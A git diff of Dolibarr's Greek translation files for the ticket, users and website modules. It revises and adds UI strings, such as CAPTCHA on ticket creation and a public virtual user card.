-130,16 +134,16 @@ TicketsActivatePublicInterface=Ενεργοποίηση δημόσιας διε TicketsActivatePublicInterfaceHelp=Η δημόσια διεπαφή επιτρέπει στους επισκέπτες να δημιουργούν tickets. TicketsAutoAssignTicket=Ορίστε αυτόματα τον χρήστη που δημιούργησε το ticket TicketsAutoAssignTicketHelp=Κατά τη δημιουργία ενός ticket, ο χρήστης μπορεί να αντιστοιχιστεί αυτόματα στο ticket. -TicketNumberingModules=Ενότητα αρίθμησης εισιτηρίων +TicketNumberingModules=Ενότητα αρίθμησης ticket TicketsModelModule=Πρότυπα εγγράφων για tickets TicketNotifyTiersAtCreation=Ειδοποιήστε το τρίτο μέρος κατά τη δημιουργία -TicketsDisableCustomerEmail=Πάντα να απενεργοποιείτε τα email όταν δημιουργείται ένα εισιτήριο από δημόσια διεπαφή +TicketsDisableCustomerEmail=Πάντα να απενεργοποιείτε τα email όταν δημιουργείται ένα ticket από δημόσια διεπαφή TicketsPublicNotificationNewMessage=Στείλτε email όταν ένα νέο μήνυμα/σχόλιο προστεθεί σε ένα ticket TicketsPublicNotificationNewMessageHelp=Στείλτε email όταν προστίθεται νέο μήνυμα από τη δημόσια διεπαφή (στον εκχωρημένο χρήστη ή το email ειδοποιήσεων προς (ενημέρωση) ή/και το email ειδοποιήσεων προς) TicketPublicNotificationNewMessageDefaultEmail=email ειδοποιήσεων προς (ενημέρωση) TicketPublicNotificationNewMessageDefaultEmailHelp=Στείλτε ένα μήνυμα email σε αυτήν τη διεύθυνση για ειδοποιήσεις κάθε νέου μηνύματος, εάν στο ticket δεν έχει εκχωρηθεί χρήστης ή εάν ο χρήστης δεν έχει κάποιο γνωστό email. TicketsAutoReadTicket=Αυτόματη επισήμανση του ticket ως αναγνωσμένου (όταν δημιουργείται από την υποστήριξη) -TicketsAutoReadTicketHelp=Αυτόματη επισήμανση του ticket ως αναγνωσμένου όταν έχει δημιουργηθεί από την υποστήριξη. Όταν το εισιτήριο δημιουργείται από τη δημόσια διεπαφή, το εισιτήριο παραμένει στην κατάσταση "Μη αναγνωσμένο". +TicketsAutoReadTicketHelp=Αυτόματη επισήμανση του ticket ως αναγνωσμένου όταν έχει δημιουργηθεί από την υποστήριξη. Όταν το ticket δημιουργείται από τη δημόσια διεπαφή, το ticket παραμένει στην κατάσταση "Μη αναγνωσμένο". TicketsDelayBeforeFirstAnswer=Ένα νέο ticket θα πρέπει να λάβει μια πρώτη απάντηση πριν από (σε ώρες): TicketsDelayBeforeFirstAnswerHelp=Εάν ένα νέο ticket δεν έχει λάβει απάντηση μετά από αυτό το χρονικό διάστημα (σε ώρες), θα εμφανιστεί ένα εικονίδιο ειδοποίησης σημαντικού γεγονότος στην προβολή λίστας. TicketsDelayBetweenAnswers=Ένα ticket που δεν έχει επιλυθεί δεν πρέπει να είναι ανενεργό κατά τη διάρκεια (ώρες): @@ -149,6 +153,8 @@ TicketsAutoNotifyCloseHelp=Κατά το κλείσιμο ενός ticket, θα TicketWrongContact=Η παρεχόμενη επαφή δεν αποτελεί μέρος των επαφών του τρέχοντος ticket. Το email δεν στάλθηκε. TicketChooseProductCategory=Κατηγορία προϊόντος για υποστήριξη ticket TicketChooseProductCategoryHelp=Επιλέξτε την κατηγορία προϊόντων υποστήριξης ticket Αυτό θα χρησιμοποιηθεί για την αυτόματη σύνδεση μιας σύμβασης με ένα ticket +TicketUseCaptchaCode=Χρησιμοποιήστε γραφικό κώδικα (CAPTCHA) όταν δημιουργείτε ένα ticket +TicketUseCaptchaCodeHelp=Προσθέτει επαλήθευση CAPTCHA κατά τη δημιουργία νέου ticket. # # Index & list page @@ -178,9 +184,9 @@ EditTicket=Επεξεργασία ticket TicketsManagement=Διαχείριση tickets CreatedBy=Δημιουργήθηκε από NewTicket=Νέο ticket -SubjectAnswerToTicket=Απάντηση εισιτηρίου +SubjectAnswerToTicket=Απάντηση σε ticket TicketTypeRequest=Τύπος αιτήματος -TicketCategory=Κατηγοριοποίηση ticket +TicketCategory=Κατηγορία ticket SeeTicket=Δείτε το ticket TicketMarkedAsRead=Το ticket έχει επισημανθεί ως αναγνωσμένο TicketReadOn=Συνέχισε να διαβάζεις @@ -192,8 +198,7 @@ TicketAssigned=Το ticket έχει πλέον εκχωρηθεί TicketChangeType=Αλλαγή τύπου TicketChangeCategory=Αλλαγή αναλυτικού κώδικα TicketChangeSeverity=Αλλαγή κρισιμότητας -TicketAddMessage=Προσθήκη μηνύματος -AddMessage=Προσθήκη μηνύματος +TicketAddMessage=Προσθήκη προσωπικού μηνύματος MessageSuccessfullyAdded=Το ticket προστέθηκε TicketMessageSuccessfullyAdded=Το μήνυμα προστέθηκε με επιτυχία TicketMessagesList=Λίστα μηνυμάτων @@ -204,8 +209,8 @@ TicketSeverity=Κρισιμότητα ShowTicket=Εμφάνιση ticket RelatedTickets=Σχετικά ticket TicketAddIntervention=Δημιουργία παρέμβασης -CloseTicket=Κλείσιμο|Επίλυση ticket -AbandonTicket=Εγκατάλειψη ticket +CloseTicket=Κλείσιμο|Επίλυση +AbandonTicket=Εγκατάλειψη CloseATicket=Κλείσιμο|Επίλυση ticket ConfirmCloseAticket=Επιβεβαίωση κλεισίματος ticket ConfirmAbandonTicket=Επιβεβαιώνετε το κλείσιμο του ticket σε κατάσταση 'Εγκαταλελειμμένο' @@ -213,24 +218,23 @@ ConfirmDeleteTicket=Παρακαλώ επιβεβαιώστε τη διαγρα TicketDeletedSuccess=Το ticket διαγράφηκε με επιτυχία TicketMarkedAsClosed=Το ticket επισημάνθηκε ως κλειστό TicketDurationAuto=Υπολογισμένη διάρκεια -TicketDurationAutoInfos=Διάρκεια υπολογίζεται αυτόματα από την παρέμβαση +TicketDurationAutoInfos=Η διάρκεια υπολογίζεται αυτόματα από τη σχετική παρέμβαση TicketUpdated=Το ticket ενημερώθηκε -SendMessageByEmail=Στείλτε μήνυμα με email +SendMessageByEmail=Αποστόλη μηνύματος μέσω email TicketNewMessage=Νέο μήνυμα -ErrorMailRecipientIsEmptyForSendTicketMessage=Ο παραλήπτης είναι κενός. Δεν στέλνεται μήνυμα ηλεκτρονικού ταχυδρομείου +ErrorMailRecipientIsEmptyForSendTicketMessage=Το πεδίο παραλήπτη είναι κενό. Δεν εστάλη το email TicketGoIntoContactTab=Μεταβείτε στην καρτέλα "Επαφές" για να τις επιλέξετε -TicketMessageMailIntro=Εισαγωγή +TicketMessageMailIntro=Κεφαλίδα μηνύματος TicketMessageMailIntroHelp=Αυτό το κείμενο προστίθεται μόνο στην αρχή του email και δεν θα αποθηκευτεί. -TicketMessageMailIntroLabelAdmin=Εισαγωγικό κείμενο για όλες τις απαντήσεις ticket TicketMessageMailIntroText=Γεια σας,
      Μια νέα απάντηση προστέθηκε σε ένα ticket που ακολουθείτε. Εδώ είναι το μήνυμα:
      TicketMessageMailIntroHelpAdmin=Αυτό το κείμενο θα εισαχθεί πριν από την απάντηση όταν απαντάτε σε ένα ticket από το Dolibarr -TicketMessageMailSignature=Υπογραφή -TicketMessageMailSignatureHelp=Αυτό το κείμενο προστίθεται μόνο στο τέλος του email και δεν θα αποθηκευτεί. -TicketMessageMailSignatureText=Το μήνυμα στάλθηκε από %s μέσω Dolibarr -TicketMessageMailSignatureLabelAdmin=Υπογραφή email απάντησης -TicketMessageMailSignatureHelpAdmin=Αυτό το κείμενο θα εισαχθεί μετά το μήνυμα απάντησης. +TicketMessageMailFooter=Υποσέλιδο μηνύματος +TicketMessageMailFooterHelp=Αυτό το κείμενο προστίθεται μόνο στο τέλος του μηνύματος που αποστέλλεται με email και δεν θα αποθηκευτεί. +TicketMessageMailFooterText=Το μήνυμα στάλθηκε από %s μέσω Dolibarr +TicketMessageMailFooterHelpAdmin=Αυτό το κείμενο θα εισαχθεί μετά το μήνυμα απάντησης. TicketMessageHelp=Μόνο αυτό το κείμενο θα αποθηκευτεί στη λίστα μηνυμάτων της κάρτας ticket. TicketMessageSubstitutionReplacedByGenericValues=Οι μεταβλητές αντικατάστασης αντικαθίστανται από γενικές τιμές. +ForEmailMessageWillBeCompletedWith=Για μηνύματα email που αποστέλλονται σε εξωτερικούς χρήστες, το μήνυμα θα συμπληρωθεί με TimeElapsedSince=Ο χρόνος πέρασε από TicketTimeToRead=Ο χρόνος που πέρασε πριν από την ανάγνωση TicketTimeElapsedBeforeSince=Χρόνος που πέρασε πριν / από @@ -239,8 +243,9 @@ TicketDocumentsLinked=Έγγραφα που συνδέονται με το ticke ConfirmReOpenTicket=Επιβεβαιώνετε το άνοιγμα εκ νέου αυτού του ticket; TicketMessageMailIntroAutoNewPublicMessage=Ένα νέο μήνυμα αναρτήθηκε στο ticket με το θέμα %s: TicketAssignedToYou=Το ticket σας έχει ανατεθεί -TicketAssignedEmailBody=Σας έχει εκχωρηθεί το ticket #%s από τον %s +TicketAssignedEmailBody=Σας έχει ανατεθεί το ticket #%s από τον %s MarkMessageAsPrivate=Επισήμανση μηνύματος ως απόρρητου +TicketMessageSendEmailHelp=Θα σταλεί ένα email σε όλες τις αντιστοιχισμένες επαφές (εσωτερικές επαφές, αλλά και εξωτερικές επαφές, εκτός και εάν είναι επιλεγμένη η επιλογή "%s") TicketMessagePrivateHelp=Αυτό το μήνυμα δεν θα εμφανίζεται σε εξωτερικούς χρήστες TicketEmailOriginIssuer=Δημιουργός στην αρχή των tickets InitialMessage=Αρχικό μήνυμα @@ -253,7 +258,7 @@ TicketMessageSuccesfullyUpdated=Το μήνυμα ενημερώθηκε με ε TicketChangeStatus=Αλλαγή κατάστασης TicketConfirmChangeStatus=Επιβεβαιώστε την αλλαγή κατάστασης: %s? TicketLogStatusChanged=Η κατάσταση άλλαξε: απο%s σε %s -TicketNotNotifyTiersAtCreate=Μην ειδοποιείτε την εταιρεία στη δημιουργία +TicketNotNotifyTiersAtCreate=Μην ειδοποιείτε την εταιρεία κατά την δημιουργία NotifyThirdpartyOnTicketClosing=Επαφές για ειδοποίηση κατά το κλείσιμο του ticket TicketNotifyAllTiersAtClose=Όλες οι σχετικές επαφές TicketNotNotifyTiersAtClose=Καμία σχετική επαφή @@ -262,7 +267,7 @@ TicketNotCreatedFromPublicInterface=Μη διαθέσιμο. Το ticket δεν ErrorTicketRefRequired=Απαιτείται όνομα αναφοράς ticket TicketsDelayForFirstResponseTooLong=Έχει περάσει πάρα πολύς χρόνος από το άνοιγμα του ticket χωρίς καμία απάντηση. TicketsDelayFromLastResponseTooLong=Έχει περάσει πάρα πολύς χρόνος από την τελευταία απάντηση σε αυτό το ticket. -TicketNoContractFoundToLink=Δεν βρέθηκε σύμβαση που να συνδέεται αυτόματα με αυτό το εισιτήριο. Συνδέστε μια σύμβαση μη αυτόματα. +TicketNoContractFoundToLink=Δεν βρέθηκε σύμβαση που να συνδέεται αυτόματα με αυτό το ticket. Συνδέστε μια σύμβαση μη αυτόματα. TicketManyContractsLinked=Πολλές συμβάσεις έχουν συνδεθεί αυτόματα με αυτό το ticket. Βεβαιωθείτε ότι έχετε επαληθεύσει ποιο πρέπει να επιλεγεί. # @@ -270,7 +275,7 @@ TicketManyContractsLinked=Πολλές συμβάσεις έχουν συνδε # TicketLogMesgReadBy=Το ticket %s διαβάστηκε από %s NoLogForThisTicket=Δεν υπάρχει αρχείο καταγραφής για αυτό το ticket ακόμα -TicketLogAssignedTo=Το ticket %s ανατέθηκε στο %s +TicketLogAssignedTo=Το ticket %s ανατέθηκε σε %s TicketLogPropertyChanged=Το ticket %s τροποποιήθηκε: ταξινόμηση από %s σε %s TicketLogClosedBy=Το ticket %s έκλεισε απο %s TicketLogReopen=Εκ νέου άνοιγμα του ticket %s @@ -279,13 +284,13 @@ TicketLogReopen=Εκ νέου άνοιγμα του ticket %s # Public pages # TicketSystem=Σύστημα ticket -ShowListTicketWithTrackId=Εμφάνιση λίστας ticket με βάση το αναγνωριστικό ID -ShowTicketWithTrackId=Εμφάνιση ticket από το αναγνωριστικό ID +ShowListTicketWithTrackId=Εμφάνιση λίστας ticket με βάση το αναγνωριστικό παρακολούθησης +ShowTicketWithTrackId=Εμφάνιση ticket από το αναγνωριστικό παρακολούθησης TicketPublicDesc=Μπορείτε να δημιουργήσετε ένα ticket υποστήριξης ή να επιλέξετε από ένα αναγνωριστικό ID. YourTicketSuccessfullySaved=Το ticket αποθηκεύτηκε με επιτυχία! MesgInfosPublicTicketCreatedWithTrackId=Ένα νέο ticket δημιουργήθηκε με ID %sκαι αναφ. %s -PleaseRememberThisId=Παρακαλούμε να διατηρήσετε τον αριθμό παρακολούθησης που σας ζητάμε αργότερα. -TicketNewEmailSubject=Δημιουργία ticket- Ref %s (δημόσιο ID %s) +PleaseRememberThisId=Παρακαλώ κρατήστε τον αριθμό παρακολούθησης, μπορεί να σας τον ζητήσουμε αργότερα. +TicketNewEmailSubject=Επιβεβαίωση δημιουργίας εισιτηρίου - Αναφ. %s (δημόσιο αναγνωριστικό εισιτηρίου %s) TicketNewEmailSubjectCustomer=Νέο ticket υποστήριξης TicketNewEmailBody=Αυτό είναι ένα αυτόματο μήνυμα ηλεκτρονικού ταχυδρομείου που επιβεβαιώνει ότι έχετε καταχωρήσει ένα νέο ticket. TicketNewEmailBodyCustomer=Αυτό είναι ένα αυτόματο μήνυμα ηλεκτρονικού ταχυδρομείου που επιβεβαιώνει ότι μόλις δημιουργήθηκε νέο ticket στο λογαριασμό σας. @@ -296,20 +301,20 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Μπορείτε να δείτε την TicketCloseEmailBodyInfosTrackUrlCustomer=Μπορείτε να δείτε το ιστορικό αυτού του ticket κάνοντας κλικ στον παρακάτω σύνδεσμο TicketEmailPleaseDoNotReplyToThisEmail=Παρακαλώ μην απαντήσετε απευθείας σε αυτό το μήνυμα ηλεκτρονικού ταχυδρομείου! Χρησιμοποιήστε το σύνδεσμο για να απαντήσετε μέσω της διεπαφής. TicketPublicInfoCreateTicket=Αυτή η φόρμα σάς επιτρέπει να καταγράψετε ένα ticket υποστήριξης στο σύστημα διαχείρισης. -TicketPublicPleaseBeAccuratelyDescribe=Παρακαλούμε περιγράψτε με ακρίβεια το πρόβλημα. Παρέχετε τις περισσότερες πληροφορίες που είναι δυνατόν να μας επιτρέψουν να προσδιορίσουμε σωστά το αίτημά σας. +TicketPublicPleaseBeAccuratelyDescribe=Παρακαλώ διατυπώστε με σαφήνεια την ερώτησή σας. Δώστε τις περισσότερες δυνατές πληροφορίες για να μας επιτρέψετε να αναγνωρίσουμε σωστά το αίτημά σας. TicketPublicMsgViewLogIn=Παρακαλώ εισαγάγετε το αναγνωριστικό παρακολούθησης ticket TicketTrackId=Δημόσιο αναγνωριστικό παρακολούθησης OneOfTicketTrackId=Ένα από τα αναγνωριστικά παρακολούθησης ErrorTicketNotFound=Δεν βρέθηκε ticket με αναγνωριστικό παρακολούθησης %s! Subject=Αντικείμενο ViewTicket=Προβολή ticket -ViewMyTicketList=Δείτε τη λίστα των tickets μου +ViewMyTicketList=Εμφάνιση λίστας των ticket μου ErrorEmailMustExistToCreateTicket=Σφάλμα: η διεύθυνση ηλεκτρονικού ταχυδρομείου δεν βρέθηκε στη βάση δεδομένων μας TicketNewEmailSubjectAdmin=Δημιουργήθηκε νέο ticket - Ref %s (δημόσιο ticket ID %s) TicketNewEmailBodyAdmin=

      Το ticket μόλις δημιουργήθηκε με την ID # %s, δείτε τις πληροφορίες:

      SeeThisTicketIntomanagementInterface=Δείτε το Παρακαλώ εισαγάγετε το αναγνωριστικό παρακολούθησης ticket στη διεπαφή διαχείρισης TicketPublicInterfaceForbidden=Η δημόσια διεπαφή για τα tickets δεν ήταν ενεργοποιημένη -ErrorEmailOrTrackingInvalid=Λάθος τιμή ID παρακολούθηση ή ηλεκτρονικού ταχυδρομείου +ErrorEmailOrTrackingInvalid=Λάθος τιμή αναγνωριστικού παρακολούθησης ή email OldUser=Παλιός χρήστης NewUser=Νέος χρήστης NumberOfTicketsByMonth=Αριθμός tickets ανά μήνα @@ -317,14 +322,14 @@ NbOfTickets=Αριθμός tickets # notifications TicketCloseEmailSubjectCustomer=Το Παρακαλώ εισαγάγετε το αναγνωριστικό παρακολούθησης ticket έκλεισε TicketCloseEmailBodyCustomer=Αυτό είναι ένα αυτόματο μήνυμα για να σας ενημερώσουμε ότι το ticket %s μόλις έκλεισε. -TicketCloseEmailSubjectAdmin=Το εισιτήριο έκλεισε - Réf %s (δημόσιο ID εισιτηρίου %s) +TicketCloseEmailSubjectAdmin=Το ticket έκλεισε - Réf %s (δημόσιο ID εισιτηρίου %s) TicketCloseEmailBodyAdmin=Ένα ticket με ID #%s μόλις έκλεισε, δείτε πληροφορίες: TicketNotificationEmailSubject=Το ticket %s ενημερώθηκε TicketNotificationEmailBody=Αυτό είναι ένα αυτόματο μήνυμα που σας ειδοποιεί ότι το ticket %s μόλις ενημερώθηκε TicketNotificationRecipient=Αποδέκτης ειδοποίησης TicketNotificationLogMessage=Μήνυμα καταγραφής TicketNotificationEmailBodyInfosTrackUrlinternal=Προβολή ticket σε διεπαφή -TicketNotificationNumberEmailSent=Ειδοποίηση ηλεκτρονικού ταχυδρομείου αποστολή: %s +TicketNotificationNumberEmailSent=Στάλθηκε email ειδοποίησης: %s ActionsOnTicket=Ενέργειες στο ticket diff --git a/htdocs/langs/el_GR/users.lang b/htdocs/langs/el_GR/users.lang index 24f318bfb6e..c3e1da3352c 100644 --- a/htdocs/langs/el_GR/users.lang +++ b/htdocs/langs/el_GR/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Αφαίρεση από την ομάδα PasswordChangedAndSentTo=Ο κωδικός πρόσβασης άλλαξε και στάλθηκε στο %s . PasswordChangeRequest=Αίτημα αλλαγής κωδικού πρόσβασης για %s PasswordChangeRequestSent=Το αίτημα για αλλαγή κωδικού πρόσβασης για %s στάλθηκε στο %s . -IfLoginExistPasswordRequestSent=Εάν αυτή η σύνδεση αφορά έγκυρο λογαριασμό, έχει σταλεί ένα email για επαναφορά του κωδικού πρόσβασης. +IfLoginExistPasswordRequestSent=Εάν αυτή η σύνδεση είναι έγκυρος λογαριασμός (με έγκυρο email), έχει σταλεί ένα email για επαναφορά του κωδικού πρόσβασης. IfEmailExistPasswordRequestSent=Εάν αυτό το email είναι έγκυρος λογαριασμός, έχει σταλεί ένα email για επαναφορά του κωδικού πρόσβασης. ConfirmPasswordReset=Επιβεβαίωση της επαναφοράς κωδικού πρόσβασης MenuUsersAndGroups=Χρήστες και Ομάδες @@ -55,7 +55,7 @@ LastGroupsCreated=Οι τελευταίες %s ομάδες που δημιου LastUsersCreated=Τελευταίοι %s χρήστες που δημιουργήθηκαν ShowGroup=Εμφάνιση ομάδας ShowUser=Εμφάνιση χρήστη -NonAffectedUsers=Non affected users +NonAffectedUsers=Χρήστες χωρίς ανατεθειμένη εργασία UserModified=Ο χρήστης τροποποιήθηκε με επιτυχία PhotoFile=Αρχείο φωτογραφίας ListOfUsersInGroup=Λίστα χρηστών σε αυτήν την ομάδα @@ -66,11 +66,11 @@ LinkedToDolibarrUser=Σύνδεσμος προς χρήστη LinkedToDolibarrThirdParty=Σύνδεσμος προς τρίτο μέρος CreateDolibarrLogin=Δημιουργία ενός χρήστη CreateDolibarrThirdParty=Δημιουργία τρίτου μέρους -LoginAccountDisableInDolibarr=Ο λογαριασμός απενεργοποιήθηκε στο Dolibarr. -UsePersonalValue=Use personal value -InternalUser=Εσωτερικός χρήστης +LoginAccountDisableInDolibarr=Ο λογαριασμός απενεργοποιήθηκε στο Dolibarr +PASSWORDInDolibarr=Ο κωδικός έχει τροποποιηθεί στο Dolibarr +UsePersonalValue=Χρήση προσωπικής επιλογής ExportDataset_user_1=Οι χρήστες και οι ιδιότητές τους -DomainUser=Domain user %s +DomainUser=Χρήστης τομέα %s Reactivate=Επανενεργοποίηση CreateInternalUserDesc=Αυτή η φόρμα σάς επιτρέπει να δημιουργήσετε έναν εσωτερικό χρήστη στην εταιρεία/οργανισμό σας. Για να δημιουργήσετε έναν εξωτερικό χρήστη (πελάτη, προμηθευτή κ.λπ. ..), χρησιμοποιήστε το κουμπί "Δημιουργία χρήστη Dolibarr" από την κάρτα επικοινωνίας αυτού του τρίτου μέρους. InternalExternalDesc=Ένας εσωτερικός χρήστης είναι ένας χρήστης που ανήκει στην εταιρεία/οργανισμό σας ή είναι συνεργάτης χρήστης εκτός του οργανισμού σας που μπορεί να χρειάζεται να δει περισσότερα δεδομένα από τα δεδομένα που σχετίζονται με την εταιρεία του (το σύστημα δικαιωμάτων θα καθορίσει τι μπορεί ή τι δεν μπορεί να δει ή να κάνει).
      Ένας εξωτερικός χρήστης είναι ένας πελάτης, προμηθευτής ή άλλος που πρέπει να βλέπει ΜΟΝΟ δεδομένα που σχετίζονται με τον εαυτό του (Η δημιουργία εξωτερικού χρήστη για τρίτο μέρος μπορεί να γίνει από την εγγραφή επαφής του τρίτου μέρους).

      Και στις δύο περιπτώσεις, πρέπει να εκχωρήσετε δικαιώματα για τις δυνατότητες που χρειάζεται ο χρήστης. @@ -79,7 +79,7 @@ Inherited=Κληρονομήθηκε UserWillBe=Ο χρήστης που δημιουργήθηκε θα είναι UserWillBeInternalUser=Ο χρήστης που δημιουργήθηκε θα είναι εσωτερικός χρήστης (επειδή δεν συνδέεται με συγκεκριμένο τρίτο μέρος) UserWillBeExternalUser=Ο χρήστης που δημιουργήθηκε θα είναι εξωτερικός χρήστης (επειδή συνδέεται με ένα συγκεκριμένο τρίτο μέρος) -IdPhoneCaller=Id phone caller +IdPhoneCaller=Id καλούντος NewUserCreated=Ο χρήστης %s δημιουργήθηκε NewUserPassword=Αλλαγή κωδικού πρόσβασης για %s NewPasswordValidated=Ο νέος σας κωδικός έχει επικυρωθεί και πρέπει να χρησιμοποιηθεί τώρα για να συνδεθείτε. @@ -93,7 +93,7 @@ GroupDeleted=Η ομάδα %s καταργήθηκε ConfirmCreateContact=Είστε σίγουροι ότι θέλετε να δημιουργήσετε καινούριο λογαριασμό Dolibarr γι΄ αυτή την επαφή; ConfirmCreateLogin=Είστε σίγουροι ότι θέλετε να δημιουργήσετε καινούριο λογαριασμό Dolibarr γι΄ αυτό το μέλος; ConfirmCreateThirdParty=Είστε σίγουροι ότι θέλετε να δημιουργήσετε ένα τρίτο μέρος για αυτό το μέλος; -LoginToCreate=Login to create +LoginToCreate=Χρήστης σύνδεσης για δημιουργία NameToCreate=Όνομα τρίτου μέρους προς δημιουργία YourRole=Οι ρόλοι σας YourQuotaOfUsersIsReached=Συμπληρώθηκε το όριο ενεργών χρηστών σας! @@ -128,3 +128,7 @@ DateLastLogin=Ημερομηνία τελευταίας σύνδεσης DatePreviousLogin=Ημερομηνία προηγούμενης σύνδεσης IPLastLogin=IP τελευταίας σύνδεσης IPPreviousLogin=IP προηγούμενης σύνδεσης +ShowAllPerms=Εμφάνιση όλων των γραμμών δικαιωμάτων +HideAllPerms=Απόκρυψη όλων των γραμμών δικαιωμάτων +UserPublicPageDesc=Μπορείτε να ενεργοποιήσετε μια εικονική κάρτα για αυτόν τον χρήστη. Ένα url με το προφίλ χρήστη και έναν γραμμωτό κώδικα θα είναι διαθέσιμο για να επιτρέπεται σε οποιονδήποτε διαθέτει smartphone να το σαρώσει και να προσθέσει την επαφή σας στο βιβλίο διευθύνσεών του. +EnablePublicVirtualCard=Ενεργοποιήστε τη δημόσια εικονική κάρτα χρήστη diff --git a/htdocs/langs/el_GR/website.lang b/htdocs/langs/el_GR/website.lang index 83585f34b55..f90c3118809 100644 --- a/htdocs/langs/el_GR/website.lang +++ b/htdocs/langs/el_GR/website.lang @@ -1,8 +1,9 @@ # Dolibarr language file - Source file is en_US - website Shortname=Κώδικας -WebsiteSetupDesc=Δημιουργήστε εδώ τις ιστοσελίδες που θέλετε να χρησιμοποιήσετε. Στη συνέχεια, μεταβείτε στο μενού Websites για να τις επεξεργαστείτε. +WebsiteName=Όνομα της ιστοσελίδας +WebsiteSetupDesc=Δημιουργήστε εδώ τις ιστοσελίδες που θέλετε να χρησιμοποιήσετε. Στη συνέχεια, μεταβείτε στο μενού Ιστοσελίδες για να τις επεξεργαστείτε. DeleteWebsite=Διαγραφή ιστότοπου -ConfirmDeleteWebsite=Είστε βέβαιοι ότι θέλετε να διαγράψετε αυτόν τον ιστότοπο; Όλες οι σελίδες και το περιεχόμενό του θα αφαιρεθούν επίσης. Τα μεταφορτωμένα αρχεία (όπως στον κατάλογο μέσων, στη μονάδα ECM, ...) θα παραμείνουν. +ConfirmDeleteWebsite=Είστε σίγουροι ότι θέλετε να διαγράψετε αυτόν τον ιστότοπο; Όλες οι σελίδες και το περιεχόμενό του θα αφαιρεθούν επίσης. Τα μεταφορτωμένα αρχεία (όπως στον κατάλογο μέσων, στην ενότητα ECM, ...) θα παραμείνουν. WEBSITE_TYPE_CONTAINER=Τύπος σελίδας/κοντέινερ WEBSITE_PAGE_EXAMPLE=Web σελίδα που θα χρησιμοποιηθεί ως παράδειγμα WEBSITE_PAGENAME=Όνομα / ψευδώνυμο σελίδας @@ -15,62 +16,64 @@ WEBSITE_HTML_HEADER=Προσθήκη στο κάτω μέρος της κεφα WEBSITE_ROBOT=Αρχείο ρομπότ (robots.txt) WEBSITE_HTACCESS=Αρχείο .htaccess ιστότοπου WEBSITE_MANIFEST_JSON=Αρχείο manifest.json ιστότοπου -WEBSITE_README=Αρχείο README.md WEBSITE_KEYWORDSDesc=Χρησιμοποιήστε κόμμα για να διαχωρίσετε τιμές -EnterHereLicenseInformation=Εισάγετε εδώ μεταδεδομένα ή πληροφορίες άδειας χρήσης για να συμπληρώσετε ένα αρχείο README.md. εάν διανέμετε τον ιστότοπό σας ως πρότυπο, το αρχείο θα συμπεριληφθεί στο πακέτο πειρασμών. +EnterHereReadmeInformation=Εισάγετε εδώ μια περιγραφή του ιστότοπου. Εάν διανείμετε τον ιστότοπο σας ως πρότυπο, το αρχείο θα συμπεριληφθεί στο πακέτο του προτύπου. +EnterHereLicenseInformation=Εισάγετε εδώ την ΑΔΕΙΑ του κωδικού της ιστοσελίδας. Εάν διανείμετε τον ιστότοπο σας ως πρότυπο, το αρχείο θα συμπεριληφθεί στο πακέτο του προτύπου. HtmlHeaderPage=Κεφαλίδα HTML (συγκεκριμένη μόνο για αυτήν τη σελίδα) -PageNameAliasHelp=Όνομα ή ψευδώνυμο της σελίδας.
      Αυτό το ψευδώνυμο χρησιμοποιείται επίσης για τη δημιουργία μιας διεύθυνσης SEO όταν ο ιστότοπος έτρεξε από ένα Virtual host ενός διακομιστή Web (όπως Apacke, Nginx, ...). Χρησιμοποιήστε το κουμπί " %s " για να επεξεργαστείτε αυτό το ψευδώνυμο. -EditTheWebSiteForACommonHeader=Σημείωση: Εάν θέλετε να ορίσετε μια εξατομικευμένη κεφαλίδα για όλες τις σελίδες, επεξεργαστείτε την κεφαλίδα σε επίπεδο ιστότοπου αντί για σελίδα / κοντέινερ. +PageNameAliasHelp=Όνομα ή ψευδώνυμο(alias) της σελίδας.
      Αυτό το ψευδώνυμο χρησιμοποιείται επίσης για τη δημιουργία διεύθυνσης URL SEO όταν ο ιστότοπος εκτελείται από έναν εικονικό κεντρικό υπολογιστή ενός διακομιστή Web (όπως Apacke, Nginx, ...). Χρησιμοποιήστε το κουμπί " %s " για να επεξεργαστείτε αυτό το ψευδώνυμο. +EditTheWebSiteForACommonHeader=Σημείωση: Εάν θέλετε να ορίσετε μια εξατομικευμένη κεφαλίδα(header) για όλες τις σελίδες, επεξεργαστείτε την κεφαλίδα σε επίπεδο ιστότοπου αντί για της σελίδας/κοντέινερ. MediaFiles=Βιβλιοθήκη πολυμέσων EditCss=Επεξεργασία ιδιοτήτων ιστοτόπου EditMenu=Επεξεργασία μενού EditMedias=Επεξεργασία πολυμέσων EditPageMeta=Επεξεργασία ιδιοτήτων σελίδας / κοντέινερ -EditInLine=Επεξεργασία εν σειρά +EditInLine=Γρήγορη επεξεργασία AddWebsite=Προσθήκη ιστοτόπου Webpage=Ιστοσελίδα/κοντέινερ AddPage=Προσθήκη σελίδας/κοντέινερ PageContainer=Σελίδα PreviewOfSiteNotYetAvailable=Η προ επισκόπηση του ιστότοπου σας %s δεν είναι ακόμη διαθέσιμη. Πρέπει πρώτα να ' Εισαγετε ένα πλήρες πρότυπο ιστότοπου ' ή απλώς ' Προσθέστε μια σελίδα/κοντέινερ '. -RequestedPageHasNoContentYet=Η σελίδα που ζητήθηκε με id %s δεν έχει ακόμα περιεχόμενο, ή το αρχείο cache .tpl.php καταργήθηκε. Επεξεργαστείτε το περιεχόμενο της σελίδας για να το επιλύσετε. +RequestedPageHasNoContentYet=Η ζητούμενη σελίδα με αναγνωριστικό %s δεν έχει ακόμη περιεχόμενο ή το αρχείο προσωρινής μνήμης .tpl.php αφαιρέθηκε. Επεξεργαστείτε το περιεχόμενο της σελίδας για να προχωρήσετε. SiteDeleted=Ο ιστότοπος '%s' διαγράφηκε -PageContent=Σελίδα / Contenair -PageDeleted=Σελίδα / Contenair '%s' της ιστοσελίδας %s διαγράφεται -PageAdded=Σελίδα / Contenair '%s' προστέθηκε +PageContent=Σελίδα/Contenair +PageDeleted=Η σελίδα/Contenair '%s' του ιστότοπου %s διαγράφηκε +PageAdded=Προστέθηκε η σελίδα/Contenair '%s' ViewSiteInNewTab=Προβολή ιστότοπου σε νέα καρτέλα ViewPageInNewTab=Προβολή σελίδας σε νέα καρτέλα SetAsHomePage=Ορισμός ως αρχική σελίδα RealURL=Πραγματική διεύθυνση URL -ViewWebsiteInProduction=Προβάλετε τον ιστότοπο χρησιμοποιώντας τις διευθύνσεις URL για το σπίτι +ViewWebsiteInProduction=Προβάλετε τον ιστότοπο χρησιμοποιώντας τις διευθύνσεις URL της αρχικής σελίδας +Virtualhost=Εικονικός κεντρικός υπολογιστής ή domain name 